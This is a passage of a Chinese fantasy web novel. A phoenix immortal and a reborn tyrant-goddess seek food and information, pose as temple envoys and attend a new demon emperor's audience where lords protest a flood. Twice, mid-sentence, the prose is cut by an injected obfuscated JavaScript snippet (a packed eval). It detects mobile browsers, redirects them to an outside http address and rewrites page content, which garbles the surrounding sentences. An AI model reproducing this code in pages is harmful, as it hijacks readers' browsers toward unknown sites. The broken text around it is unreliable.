浅色的眼瞳很容易显得无情,但凤凰仙君白金色的眼瞳里却总是装满了心软和迟疑,与他清冷的外貌形成了一种很吸引琉歌的反差。 不得不说,弥随音的性子和长相实在很戳琉歌的审美点。 不然就他前世今生几次贴脸挑衅,换成别人都够投胎八百回了。 “师尊,那这怨气可有解?我听闻怨气入体,会使人折损寿命,损失修为……” “我在这怨气里感受到了和魔气很像的力量,师尊,这是魔族的手段吗?” “我也有这个猜测——只有魔族一直致力于钻研这些阴邪手段。”弥随音微微颔首,认可了琉歌的猜测。 可能因为他曾经将左臂的凤凰骨剥给了圣坛,所以他和琉歌之间产生了联系,让怨气找错了对象吧? 弥随音思索半响,还是觉得思绪像一团浆糊。 既然没有思路,那就去寻找线索。 “现在要查清的事有两件,一是为何我会回到百年前……这世上对时间的理解和掌控最深的,就是拥有时间权柄的人皇,我得去一趟人界。” “二就是这怨气,得尽快想办法消除才行。” 凤凰仙君在心底稍加梳理,便和琉歌商量到,“这世上最克制魔族的就是仙族,对魔族研究最深的也是仙族,我们先想办法上仙界找仙尊帮忙,你觉得如何?” 琉歌自然没有异议,一副全听师尊安排的乖巧模样。 毕竟,她刚刚故意提起魔族,就是为了让弥随音想到仙尊。 她费尽心机重生归来,为的就是在一切发生之前诛杀仙尊,改变仙魔联手入侵妖界的局面形成。 而弥随音作为仙族。或许是她前往仙界最好的引路人。 “可是师尊,问情妖皇身化屏障,基本断绝了妖族和外族的联系,”琉歌提醒到,“我们该怎么前往仙界呢?” “不要紧,我有一些想法。”弥随音温声宽慰到,他抬手从储物袋中取出一张地图摊开,“五界虽各自为独立的位面,但并非毫无联系——琉歌,你知道黄泉吗?” 琉歌佯装懵懂无知,装出一副回忆姿态:“嗯……我在书上看过,黄泉是冥界之神,冥主兰因引渡亡魂时留下的足迹。” 弥随音赞许的点头,“没错,每个位面都有亡魂要进入冥界,因此冥界和所有位面都是相连的。” “据我所知,妖界镜明湖就是黄泉分支,冥主会将妖族亡魂带到镜明湖,再由镜明湖进入黄泉,返回冥界。” “由于连通黄泉,明镜湖附近阴气极重,寻常妖族都会选择避开,但虎族作为百兽之王阳气最重,阴气对他们的影响微乎其微,所以,我们可以先去找最近的虎族聚居地打听消息。” “太好了!我听喻未央说过,青丘附近就有虎族聚居地,师尊,我们要去吗?”琉歌顺手抓着他的一缕发丝把玩,她还想继续说什么,肚子忽然咕噜噜叫了起来。 琉歌这下真是一愣,高居神位太久,她都忘记自己现在还要吃饭了。 弥随音从未见过琉歌这样的一面,没忍住一笑,下意识就顺手摸了摸琉歌的头,“走,我们先去找点吃的。” 4. 仙君初入世 凤凰属于翼族血脉,翼族化形成人后体温也会比其他种族高一些,琉歌感受着头顶暖融融的热度,漫无目的的想,她知晓弥随音的体温会比较高,但没想到会这么高。 是怨气的影响让他低烧了吗? 直到弥随音回过神来有些窘迫的松开手,轻咳一声单膝跪地给她系上斗篷,琉歌才陡然反应过来,不是弥随音体温高,是她衣着单薄的站在雪地里太久,又失血……是她体温太低了。 “师尊,我们怎么找吃的?”弥随音系好斗篷刚想起身,琉歌咻的一声抓住了他的手,笑盈盈的望着他,“打猎吗?” 弥随音僵着手犹豫了片刻,到底是没有把手抽走。毕竟答应了要教导琉歌,以后还会相处很长时间,他的态度太冷漠的话恐怕会很伤幼崽的心。 他左手牵着琉歌,右手凌空画符,以小木屋为圆心将这一片都隐藏了起来,这才带着琉歌御剑而起,“走,我们打猎去。” 很快,一只在湖泊附近游荡的公鹿就被弥随音一剑封喉! “太厉害了师尊!”琉歌兴高采烈的快跑两步上前,准备看弥随音怎么处理鹿肉,却见他根本没有处理的打算,已经开始点火准备开烤了。 虽然琉歌这一世和上一世都没有自己动手处理过食材,但她好歹看过别人怎么做的。 “师尊?不处理吗?”琉歌一歪头,疑惑的望着弥随音,弥随音茫然片刻,随即恍然大悟道:“原来还要处理吗?我就说怎么怪怪的。” “……”琉歌罕见的沉默了,她终于意识到了一个致命的问题,她勉强扯了扯嘴角,扯出一抹勉强的笑:“师尊……你会做饭吗?” 弥随音顿时心虚而尴尬的移开了目光,“我可以现在试试……虽然我也没学过。” 随后的半个时辰,琉歌就看这鹿在没剥皮放血的情况下直接上了烤架,在经过了碳化,全焦,外焦里生和全熟但难吃四个状态后,弥随音终于放弃了速成厨师这条路。 “……师尊啊,你在仙界不是避世隐居吗?自己一个人的时候都吃什么啊?”琉歌客气而嫌弃的微笑着将鹿腿放到一边,语气幽幽,“您不会真的靠露水活着吧?” 弥随音没招了,弄了个坑给死状凄惨的鹿埋了进去,叹气道:“我早早就辟谷了……凤凰虽然没有人族记录的非梧桐不栖、非竹实不食、非醴泉不饮这么夸张,但这天底下我们能吃的东西确实不多,没想过我居然还有需要厨艺的一天。” 真是十指不沾阳春水的仙君啊,琉歌暗暗在心底腹诽道,算了,再跟他耗在这里自己就要饿死了。她思索片刻,建议道:“我们现在在青丘附近的熔金山脉,熔金山脚下有不少村落——我们去村子里找一点吃的。” “哈哈哈你们来这里就来对了!” 山脚下主干道旁的一客栈里,店家爽朗的笑声在厅堂回荡,琉歌拉着弥随音的手探头探脑的往里望,只见这木屋客栈虽然只有二层,但是温暖干净,门口挂着暖黄色的灯笼,在银装素裹的熔金山脉里分外显眼。 “看,面前这条路,这是翻过熔金山脉进入青丘妖都的主干道,大部分人都要走这条道的。”客栈老板是一只雌性兔妖,能够完全化为人形,说明现在她至少有金丹修为,在妖界的实力已经算是中上。 怪不得敢独身一人在山里开客栈。 “客人所说的那虎族聚居地其实就在我这客栈附近,”客栈老板短短圆圆的手指一指东南方,“沿着那小路走三里地就能到了。” 眼看这么顺利就得到了虎族的消息,弥随音顿时轻松不少,牵着琉歌的手便要告辞赶路,琉歌却拽住了他,“老板,我听家里长辈说过,当时问情妖皇分封功臣时,虎族得到的封地是第四洲——为何现在青丘附近会有虎族聚居的村落?” 客栈老板闻言反而诧异的一瞅琉歌,“咦,你这小雌君住在青丘附近,怎么连十年一度的述职月都不知道?” 因为一些妖族有很强的领地意识,不适合和习惯群居的妖族混住,又因为妖界的地广人稀,因此在问情妖皇战胜人族后,为了奖赏功臣,休养生息的同时全力开发妖界,她选择采取类似分封制的形式,将妖界九洲四海八十一岛作为领地划给了不同的妖族。 这些妖族的首领就是封地领主。 琉歌要找的虎族,他们得到的封地就是第四洲。 这些封地首领每十年要来青丘妖都面向妖皇述职一次,熔金山脉脚下的虎族聚居地应该就是那是留下的。 “是我忘了,多谢老板提醒。”琉歌笑了笑,将一点银钱塞客栈老板的掌心,“不过这段时间发生了那么多事,今年的述职还能正常进行吗?” 兔族老板赶忙摆摆手,“小雌君客气了,不过今年第四洲的几位领主都来的格外迟呢,似乎现在还没见人影?” “我听说其他洲的领主们都已经到齐了,毕竟青丘神庭放出告示,新一任妖皇将会在这次述职和各位领主见面。” “妖皇和领主们要见面了?”弥随音蹙眉,有些担忧的看了琉歌一眼,琉歌却没表现出一点异样的情绪,仿佛在听一个陌生人的消息。 “对啊,又是魔族入侵,又是改朝换代的,今年真是太乱了……”提到问情妖皇,兔族老板有些悲戚的感叹道,“问情尊上多么好的人,怎么就死于魔族手中了呢?幸好现在新妖皇顺利降生了,妖界终于要重新回到正轨了吧……” 既然附近的虎族聚居地没有人居住,两人便告别了客栈老板娘,准备偷偷溜回青丘妖都,跟同为第四洲领主的逐云狼族和逐云隼族打探一下消息。 临走前,弥随音还问客栈老板要了青丘内药材铺子的地址。 “琉歌,客栈老板说的妖皇一事,可能并非属实,你不要放在心上……”眼见着能看到青丘的城门了,琉歌还是闷闷不乐的样子,弥随音有些担忧她这是觉得自己被神庭长老们抛弃了,于是温声安慰道,“妖皇也不是神庭几位长老可以决定的事。” 只是 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“客官您先里面请——这几株药材都是八品,价值太高,我得请药铺大掌柜过来过目才行,还请您两位在此稍事休息。”小厮满头大汗的将两人请上楼,旋即脚步飞快跑去找大掌柜了—— 开玩笑,能随手拿出八品药材的,不是妖皇身边的神庭长老,就是隐世不出的绝世大能! 修炼灵气的人族和妖族普遍遵循练气,筑基,金丹,元婴,出窍,化神,合体,渡劫,飞升九个步骤,为了方便度量计算,修士便将野外同样能修炼天地灵气的灵兽灵植,从低到高分为一到九品。 九品灵物可遇不可求,这八品药材基本算是人力可得的最顶级的药材了,毕竟需要有渡劫期的实力才能打赢守卫八品灵植附近的护药灵兽。 就药铺小厮所知,妖界的渡劫期大能也就只有问情尊上身边的喻未央长老一人而已。 “颂颂!你快去叫你父亲回来,有人带了几株八品药材要出手!”小厮急急推开药铺后院的门,一三瓣嘴垂耳朵的兔族少女惊愕抬头,她赶忙把手里正在处理的药材一放,吩咐道:“长风哥,你腿脚比我快,我将令牌给你,你去找我父亲,我现在立刻去招待他们。” “颂颂,你要小心啊,这俩人能拿出八品药材,不是权贵就是渡劫期大能……”长风有些犹豫不定,不放心颂颂一个人去招待那两个身份未知的客人。 “没事的长风哥,我可是服侍过妖皇的人。”颂颂利落的净手,迅速回房换了一身可以见客的衣裳,“最近不是述职月吗,说不定是其他洲的领主来了呢。” 见颂颂这么说,长风也不好再犹豫了,“千万小心啊,颂颂,我马上就回来!” 三瓣嘴的垂耳兔在楼下搓了搓自己毛茸茸的耳朵,这才端着茶稳步踏上二楼:“几位客人请稍等片刻,家父马上就,就……咦,神女大人!?” 5. 第四洲水患 “颂颂?这真是太巧了,”琉歌两手撑在桌上,捧着脸笑的意味深长,“没想到还能在这里遇见你。” 骗你的,琉歌早就探知到后院有熟悉的气息了。 “神女大人!”颂颂被这出乎意料的偶遇吓得手一抖,好险没把滚烫的茶水泼自己一身,她急惶惶就要跪下,被弥随音一抬手止住了,弥随音瞧着琉歌眼含笑意的愉快神色,顺口问道,“这是你在帝宫的朋友吗?” “对啊,就是朋友。”琉歌墨紫色的眼瞳凝在颂颂身上,小兔妖只觉得被一只利爪攥住了心脏,她当即跪地行了个大礼,同时脑子里疯狂思索着,为什么神女纡尊降贵要来找自己一个侍从。 “师尊你有所不知,因为我不如神子受重视,帝宫侍从大多怀疑我不是神族,因而不愿意在我身上花时间……只有颂颂对我的态度最好,我在帝宫最喜欢的就是她了。”琉歌胳膊一撑从凳子上跳了下来,亲手把颂颂扶起来,“给你介绍一下,这是凤凰仙君弥随音,我的师尊,未来我要跟着他游历四方。” “师尊,颂颂做饭很好吃哦。” 师尊……?谁有这个资格给天地孕育的神明当师尊? 倒是听说,是仙界之人破坏融合仪式,掳走了神女大人。 她悄悄抬眼去瞅弥随音,谁知那黑发的青年无奈的笑笑,摇摇头否认道,“我不是她的师尊,只是暂时携手同行,保证她的安全罢了。你叫我仙君就好。” 颂颂棕黄色的耳朵紧紧贴着头皮,脑内疯狂头脑风暴,她自神女大人诞生起就一直在她身侧,对琉歌的了解程度远比他人要深。 ——若说神子大人的性格是好战,那这位神女的性格只能用恐怖来形容。 曾有神庭长老手下,在取神女神血时嘀咕了一句:不知道神庭为什么要在这踏脚石身上花这么多时间,就被神女大人按在地上撕开嘴,灌了满嘴的神血后直接力量外溢,爆体而亡。 “神女大人肯定不是来寻仇的,若我让她不满过,根本不可能活着走出帝宫,”颂颂黑溜溜的眼睛在神女和弥随音身上乱转,揣度着神女出现在这里的原因,突然,她福至心灵灵光一闪—— “神女大人刚才为何要提到我做饭好吃……?”神女从圣坛诞生至今不过一个月,肯定是没学过做饭的,这位模样清风霁月的仙君……看着也不像会做饭的样子? “既然都是熟人,就坐下说吧,”琉歌拍拍手示意颂颂不必拘谨,“我们今日前来,除了换一些银钱在手上,还为了打探消息——颂颂,若我没记错,你养父白水边,是政庭躬行司的主事之一吧。” 妖界高层分政庭和神庭,神庭是得妖皇信任和赐福的人才有资格加入的组织,紧密围绕妖皇而建立,直接掌控军队,其中又以问情妖皇亲手打造的赤琉璃骑兵营最为强悍。 政庭则负责连接神庭和百姓,处理具体的事件。 其下分有三司,分别是负责起草政令颁布律法的承平司,负责监察监督和判案断案的审查司,还有负责其余所有杂事的躬行司。 说曹操曹操到,门外传来几声规律的敲门声,一沉稳持重的男声自门外传来:“让几位贵客久等,在下乃药铺大掌柜白水边。” 颂颂顿感松了口气,立刻跑去开门,“父亲,您来了——这两位是,是……” 她犹豫着,不知该怎么跟养父介绍两位客人,毕竟按照神庭的说法,神女大人是勾结仙族破坏融合仪式后叛出神庭,目前属于被通缉的状态。 “白水边,我们是神庭派下来的暗使。”琉歌没有让颂颂继续为难,她早已和弥随音商量好了接下来的策略,“我是专门负责调查神女叛逃一事的神庭暗使,名唤琉歌,这位是我的助手,名唤……” “随心。”弥随音眼皮一抬,扫过面露迟疑的白水边,端出十足十的仙君架子,不轻不重的将茶杯往桌上一放,威压稍显,“神庭办事,还请你尽力配合。” “颂颂,你曾在神庭当过差,可曾见过这两人?”白水边悄悄将颂颂护至身后,神识传音悄然问道,“他们当真是神庭的人吗?” 颂颂不知神女大人要做什么,但以神女的性子来说,她要杀人肯定不会这么拐弯抹角。 目前来看,还是配合她的行动最好,于是她迅速点了点头,提醒白水边道:“父亲,这两位是神庭权贵中的权贵……我们只管配合吧。” 白水边原型为泽云白鹿,性情平和,喜欢也擅长沟通,这才年纪轻轻便当上了躬行司主事的位置,“两位大人突然前来,在下准备不周,还请见谅。” 有了颂颂的肯定,他稍微安下心来,但还是提出要看琉歌和弥随音证明身份的东西。 “自然可以,这么混乱的世道,谨慎是好事。”琉歌使了个眼色,弥随音心领神会,一抬手,属于神兽的力量顿时笼罩了整个房间。 “新任妖皇刚刚上任,身份令牌还在加急赶工,为此,妖皇尊上特意给予了我一滴神血,以此为凭证,号令政庭配合神庭办事。”白水边警惕后退半步,却见琉歌从储物袋里摸出一半个巴掌大小的精致玉匣,小心翼翼的打开,一枚纯金色的血滴悬浮其中,流动的黄金一般流光溢彩。 其中蕴含的能量和威压令修为最弱的颂颂扑通一声又跪了下去。 “如此,可能证明我等的身份了?” “任凭大人差遣。”神血是做不了假的,白水边终于相信了两人的神庭暗使身份,俯身一行礼道:“两位大人想打听什么消息,在下一定知无不言。” “躬行司素来负责主持述职月相关事宜,这次接待各位领主的负责人我记得是你。”琉歌掌心一和收回神血,弥随音便也一挥手解除了空间封锁。 白水边擦擦冷汗,“是的,可是在下哪里做的不好?” 弥随音掌心微抬示意他坐下细说,“并非,我们今日前来是为了打探第四洲领主,逐云虎族的消息——明日便要进帝宫面见妖皇了,为何今日还不见逐云虎族?” “大人,不只是逐云虎族,同为第四洲领主的逐云隼族也没有参与此次述职月。”见琉歌提到第四洲,白水边面露同情之色,“第四洲前几天爆发了近些年最大的以此水患,逐云山附近的两位领主全都忙着抗洪救人,故而只能缺席述职月了。” “水患?第四洲我记得很是平坦啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310218|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,水网密布,为何我在神庭从未听说过第四洲水患的事情?”琉歌蹙眉,“详细说说水患是如何爆发的。” 白水边沉吟片刻,斟酌着继续道:“第四洲在妖界南边,季节与青丘所在的北边正好相反,现在正是降雨量最大的盛夏时分。” “具体水患形成的原因在下也不是很清楚,但就我所知,问情妖皇每年都会前往第四洲,帮他们驱散部分降雨云以保证逐云山脉降水量不至于形成水患和山洪……今年,今年问情妖皇……” 他叹息一声,有些哽咽着说不下去了,忽而念头一转,又想到了什么似的,补充道:“大人若是想再详细了解第四洲,可以去找苍狼族,他们和逐云虎族,隼族同为第四洲领主,但因为领地远离逐云山脉受灾不严重,是唯一一个参与了本次述职月的第四洲领主。” 琉歌与弥随音对视一眼,随即弥随音微微颔首,“请为我们安排住处吧,明日,我们将以你的副手的身份参与此次述职月,到时再与苍狼一族详谈。” “对了,大人,在下斗胆请问,神女大人真的叛出神庭了吗?”白水边迟疑良久,眼见着两人便要离开,不顾颂颂在身后扯他的衣摆,还是一咬牙问道:“若是得到了神女的消息,神庭会怎么对神女大人?” 琉歌原本笑盈盈的神色陡然一沉,墨紫色的眼瞳里霎那间有幽暗的寒芒闪过——她刚想说什么,眼角余光忽然瞟到了正有些担忧的望着她的弥随音。 “机密,这不是你一个主事可以打听的。”她到底是没在弥随音面前破坏自己的形象,摆摆手,带着弥随音下楼离开了。 “父亲!”颂颂粉色湿润的鼻头吓得一抖一抖的,她掌心内满是冷汗,“您怎么突然问那种问题?这的要吓死我了!” 白水边摇摇头,安抚性的拍了拍颂颂手背,“颂颂,这话我只跟你私下说——现在神庭的几位长老是问情时代留下的老人,跟当代妖皇并不匹配,妖皇用他们不会顺手的。” “您的意思是……这届神庭很快会迎来大换血吗?”颂颂黑葡萄一般的眼忍不住追随着琉歌和弥随音两人的背影,思索着养父话里的透露的信息。 “不止如此,颂颂,”白水边青色的眼瞳里一派凝重,他神色肃然,“颂颂,神庭说到底,就是得妖皇信任的一小撮人聚集的组织,这个组织必然完全忠诚于妖皇的意志。但现在,神庭居然绕过神子,直接下发了述职月召集令,命令所有领主前往青丘面见妖皇。” “这完全颠倒了,妖皇反而在听着神庭的号令走。” “但颂颂,你没有参与过二十年前的那场人妖两族的大混战,你不知道神族是多么可怕的存在——生杀予夺都在神明一念之间,绝不是开玩笑的夸大之词!” 颂颂瞳孔骤然紧缩,年幼的兔族三瓣嘴吓得抖抖的,“父亲,你的意思是,妖皇很可能马上就会血洗神庭,换上忠诚于自己的……” “嘘!”白水边立刻神情严肃的制止了颂颂继续说下去,“这只是我的一点猜测……比起受神庭所控的神子,早早脱离了神庭的神女大人,可能才是聪明的那个,我觉得她才是妖皇之位更有可能的主人。” 6. 矛盾重重 “师尊,你还好吗?”在白水边准备的客栈里,正在打坐的弥随音缓缓睁开了眼睛,琉歌也抬起了压在他左前臂上的手,蹙眉质问道:“怨气的情况很不乐观,你不舒服,为何不告诉我?” 这话说的颇为强势,很有前世暴君之风,但目前的琉歌不过四五岁左右的人族幼崽大小,一双圆而上挑的杏眼瞪着弥随音,脸颊鼓鼓——让人只觉得可爱压倒性的战胜了威严。 弥随音顺手拍了拍她的头顶,只是笑道:“你一个诞生不过月余的小幼崽,担心我这与仙界同寿的仙君?” “好了,好了——我真的不会有事的。”顶着琉歌幽怨的眼光,凤凰仙君只好举手投降,解释道:“凤凰火,凤凰血都是镇魔辟邪的顶级材料,怨气说到底就是阴气和魔气的结合体,若不是量实在太大,它们沾到我的一瞬间就被我度化了。” “况且,还有你的神血做核心的封印呢,我暂时真的很难有事。” “对了,这神血你拿着吧,接下来用不到它了,放你那里预防万一。”这倒是提醒了琉歌,琉歌从储物袋里掏出装有神血的玉匣,强硬的塞进弥随音手里。 摩挲着玉匣打磨圆润的顶角,弥随音迟疑片刻,还是趁着气氛正好,将心中的疑问问出了口:“……琉歌,其实我很早就想问了——为何神庭如此区别对待?神子和你自圣坛双生,究竟是何缘故,让春在野胆敢随意派手下取你的血的?” “……”这段记忆太短,琉歌自己也记不清了,其实说起来,她真正被忽视的时间,也就只有上一世诞生之初的短短一月而已,后来掌权之后,神庭那些人全部在她的刀下走了一遭,那些忽视啊质疑啊也就不太重要了。 “神族,天道与地脉共同孕育的生命。” “我们是天道意志的延伸与具象化,我们是能读懂地脉鸣音的画外音。”琉歌垂眸思索片刻,忽然说起了五界对神族的共识,“神座,真身和权柄构成了神族的骨和血,百姓的信仰构成了神族的识海和心脏——我们是天地与百姓之间的桥梁。” “但这些,我都没有。”琉歌态度淡淡一摊手,仿佛再说一个渺远的,与自己完全无关的人。 “圣坛胚胎诞育了两个半神,神庭长老大惊失色,立刻拉我们去和圣坛共鸣,觉醒专属神族的力量……”琉歌抬眸望向专注听着她说话的弥随音,银白的头发略长了,有些遮眼,神态比起释怀更像是一种麻木的漠然。 弥随音见过这样的琉歌,就在她自圣坛坠落的一瞬间。 “神子当场觉醒了代表妖皇真身的九尾狐真身。但圣坛没有理会我的呼唤,权柄,神座,真身,我什么也没有唤醒。” “后来神庭里就暗暗流传出一种说法,其实我不是神族,或者说——神女是血,铁和恨孕育的诅咒,是天生的牺牲品,但神子是泪,吻和爱孕育的希望,他才是真正的妖皇。” 弥随音怔愣片刻,随即深深皱眉,“荒谬,”他简直被气笑了,“神族乃天地意志的化身,妖族自诞生至今磋磨不断,这次圣坛孕育双生神明,说不定就是天道给予妖族的破局契机——他们……他们简直短视又愚蠢,竟以自己浅薄的理解去揣测天地意志?” “罢了,幸好现在你已经脱离了神庭——琉歌,你会想报复他们吗?”凤凰仙君望着她,明明是淡漠避世的一个人,现在眼底却满是心疼。 真是直白,直白的有些天真了。 琉歌忽然有些心痒,在药铺时,那些为了在弥随音面前保持人设而没有出口的恶意在她心底疯狂叫嚣着,鼓动着,怂恿着:“说点好玩的,让他看看你的本来面目,你难道不好奇吗?不好奇他发现你就是前世暴君时的表情吗?” “现在只是给他打个预防针而已……若他足够敏锐,若他足够聪明……” 投桃报李,弥随音直白的问,琉歌便也直白的答了:“会,师尊,我曾经无时无刻不在想着怎么杀了神庭长老们,我不仅会报复,还要以更残酷千百倍的手段报复回去——这样你也答应吗?” 翌日,青丘玉牡丹帝宫宫门前,琉歌哼着歌坐在弥随音臂弯里,柔顺银白的长发被仔细编成小辫挽在头顶,又装饰以凤凰仙君同款的青竹玉簪,两人站在一起,引得各路领主频频回头。 “……这妖皇帝宫是问情尊上在世时一手建成的,整体以青玉雕成,从空中看去宛如次第层叠绽放的牡丹,因此得名玉牡丹帝宫。” 第五洲领主,虫母伊锦低声给掌心一只漆黑带翅的飞蚁介绍着青丘帝宫,“你生的迟了,若再早生三年,问情尊上尚在世时,这帝宫内外开满了胭红流火的赤琉璃,那才是真的美不胜收。” 琉歌打量的视线落于她掌心,伊锦察觉,回望过去,发现是两个没见过的面孔,便上前两步想要搭话,还没靠近,弥随音下意识右脚后撤半步将琉歌护在怀里,左手一抬,挡住了继续靠近的伊锦。 “你倒是宝贝的紧。”虫母喉咙里发出一点虫族独有的摩擦音,嗤笑弥随音的紧张,“这么宝贝,这是你的第一胎?我没见过你,你是翼族?是哪个洲的领主?” “母亲母亲,我不也是第一胎吗?”虫母掌心的小黑蚁嗓音细细尖尖的,态度友好的冲琉歌挥了挥触须,“你好啊,我是伊露,未来要是要成为虫母之下的一方虫巢女王的,虽然暂时还不会化形,但我学什么都很快。” “嗤嗤,算上前面那些没活下来的和被我吃掉的,你哪里是第一胎了?”虫母大笑,视线却锁定在弥随音身上,等着他的回答。 好在弥随音昨晚已经和琉歌拟好了之后的计划,虽然很不习惯撒谎,现在倒也算对答如流,“我是血海铜雀一族的遗孤,现在在白水边大人手下办事,这是我的徒弟琉歌,今天难得的热闹日子,带她来长长见识。” 前面的白水边注意到了这里的交谈,很有眼色的立刻冲弥随音两人招招手,示意他们赶紧过来,跟着他进帝宫。 虫母目送两人离开,微微蹙眉。 熟悉的高台,弥随音抬眸望向帝宫正殿正前方,只是现在高台上摆放的,不再是属于琉歌的妖皇神座,而是一层薄如蝉翼的半透明长帘,那长帘绝对是品阶很高的法宝,弥随音尝试控制神识透过长帘去看其后的神子,识海却突然被用力刺了一下! “嘶——真邪门,面圣面圣,不给我们看是几个意思啊?” 琉歌循声望去,原来是本体是虎鲸下第八洲领主。 大海是最强悍也最天然的屏障,人族很难抓到水生妖族,因此对水生妖族的迫害远小于陆族和翼族——问情带领妖族反抗人类奴役掀起人妖混战时,水族愿意参战的原因更多是仰慕问情尊上的实力和魅力。 其中最典型的就是万事不管只要战斗爽的虎鲸一族。 他们对妖皇的态度更多是战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310219|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗伙伴,而不认为妖皇是救苦救难的救世主——她上来就当这个刺头,琉歌其实是不意外的,因为前世第一个挑战她的就是这个虎鲸族长,第八洲唯一的领主——武不为。 琉歌没忍住抿唇一笑。 武不为立刻就注意到了她,眼前顿时一亮,刚想说什么,忽然“咚——”的一声巨响传开,厚重的钟鸣在正殿沉重而缓慢的回荡! 踏着钟声,代表翼族的红翅雀春在野,代表陆族的赤狐惊轶和代表水族的鲛人族长喻未央霎时出现在高台之上! “参见长老——”领主起身行礼,弥随音将她放下,顺大流的放出翼族耳后翼,微微俯身跟着行礼。 这真是前世没有的发展了,琉歌兴致盎然,一双墨紫色的眼瞳兴奋的紧缩,针一般尖锐的竖瞳锋锐至极,仿佛能扎穿长帘,将高台上只露出朦胧虚影的神子钉死在那里。 “这是,为我们开辟妖界的问情尊上离去的第三年——”春在野略一侧身,侧目扫过神色各异的各位领主,提高了声音:“虽然问情尊上死于那卑劣的魔尊之手,她留下的屏障却一直护佑着妖界!” 春惊喻三人带头俯身再次向高台行礼道:“靠着屏障,我们撑过了无比混乱而悲痛的三年,但就在此时此刻,属于妖界的长夜即将走向黎明——我们将迎来妖界的新一任妖皇!” 长帘无风自动,一稚嫩却沉稳的童声自高台稳稳传下:“我看到仙魔如腐鹫环伺,我看到五界无人不想从妖界撕下一块皮肉……但我也看到了神庭的操劳和政庭的团结,看到了万千妖族的挣扎与信仰——” “我将传承问情妖祖之姓,以郁柏为名,我之姓名,将成为尔等新的指明星!” 在领主们高声疾呼中,琉歌轻轻舔了舔后槽牙,跟着声浪低声喃喃道:“轩辕……郁柏,轩辕郁柏,这一世,你也有自己的名字了啊……” 一点杀意忽如墨汁溅上白纸,久违的躁郁点燃了前世富有四海的暴君,她尝到了一点愤怒,那是属于自己的东西被别人染指的愤怒——虽然她选择了和弥随音玩师徒家家酒,但这不代表她就允许了神子触碰属于她的位置。 “或许,杀了他,拿回全部妖皇之力的计划该提前了。”郁柏又说了什么,周围的领主又鼓起掌来,琉歌便也微笑着跟着鼓掌,一下,两下,三下,打着节拍似的,在她身侧的弥随音只觉得头皮一麻,他蹙眉找寻这杀意的源头,却无果。 “妖皇尊上,长老大人!无用的寒暄也该结束了吧!” 正殿内霎时寂静,春在野面色陡然一沉,冷声呵斥道:“苍狼领主,你敢在妖皇面前放肆!” “够了,春在野,是该说正事了。”鲛人族长喻未央一抬手止住了还要继续斥责的春在野,态度冷冷的请示长帘后的新任妖皇,“郁柏尊上,我想述职月是该开始了。” 第四洲三大领主之一,苍狼族族长藏纵夏刚刚成年,从母亲手里接过领主之位不过三年,正是心直口快的年纪—— “第四洲近日爆发了有史以来最严重的一场水患,妖界最大湖,天倾泊的面积一度扩大为之前的两倍!第四洲南部草地低林短短三天全部被淹成涝地!”藏纵夏天青色的眸子里满是不解和愤怒,“第四洲三位领主数次联名请求神庭施以援手,为何你们迟迟没有任何回音?!” “第四洲水患肆虐,妖皇和神庭就准备袖手旁观吗?!” 7. 请妖皇自证 “放肆!”春在野和惊轶同时皱眉怒呵,春在野掌心顿时无数金线涌出,在半空凝成长鞭猛地抽向不知天高地厚的藏纵夏! 惊轶冷冷侧目注视着倒飞出去的苍狼族长,厉声斥道:“谁给你的胆子质疑神庭和妖皇的决策!妖皇诞生至今不过月余,如今正是积攒实力,熟悉妖界事务的关键时期,怎能为你第四洲内务操心劳神!” “说到底,还是问情尊上太过纵容你们,什么都答应……”春在野眼神阴戾,手上金辉流转的长鞭再次被他举起,“这才养大了你们的贪婪,让你们对妖皇尊上失了敬畏。” “……要我说,春在野,你是在场所有人中,最没资格惩戒我的。”藏纵夏一抹嘴角血迹,嘴唇一翻露出尖利犬齿,代表威胁和警告的低声嘶吼不断滚出他的喉咙,眼神和语气一样凶残:“若不是问情尊上与亦清大人相爱,亦清大人自愿放弃第一神使之位成为妖后,哪里有你一介无名小卒的出头之日!” 提起已随问情妖皇魂归天地的亦清妖后,在场众人顿时肃然寂静。 春在野再难掩饰眼底满溢的杀意,手腕一抖,金鞭化为细长金剑落于他的掌心。 “啪——!”下座领主中忽然有人拍案而起,“春在野,欺负藏花骨家的幼崽有什么意思,现在妖皇已死,你没了妖皇赐予的权柄加持,区区元婴在这里狗仗人势给谁看呢!” “……屠五月,你们第五洲也想当着妖皇尊上的面,挑战神庭权威吗?”春在野漆黑的瞳孔因愤怒被灼的雪亮,他缓缓吐出一口气,死死盯着台下出声的白灰色短发雌性领主。 第五洲领主,灰兔族长屠五月根本不惧他,召出巨斧横劈在地,红宝石一般的眼扫过台上众人,冷嗤一声道:“喻未央之下,我的修为最高,今天在这里,无论如何都轮不到你春在野狗仗人势,肆意羞辱领主!” 同事一场,虫母开团秒跟,长袖轻抬掩住了弧度嘲讽的唇角,“春长老不必如此暴怒吧?什么挑战权威,第五洲只是也有话要讲罢了。” “你不会在述职月都不给我们领主们开口的机会吧?” 看来第五洲是打定主意要当这个闹事的了,琉歌神色静静,易容术下的眼珠微动,扫过神色各异的众领主们,暗暗在心底思忖着什么。 “春在野,冷静,你失态了。”惊轶知晓第五洲想讲什么,因为晚枫赤狐族——他出身的家族,也是第五洲三大领主之一。 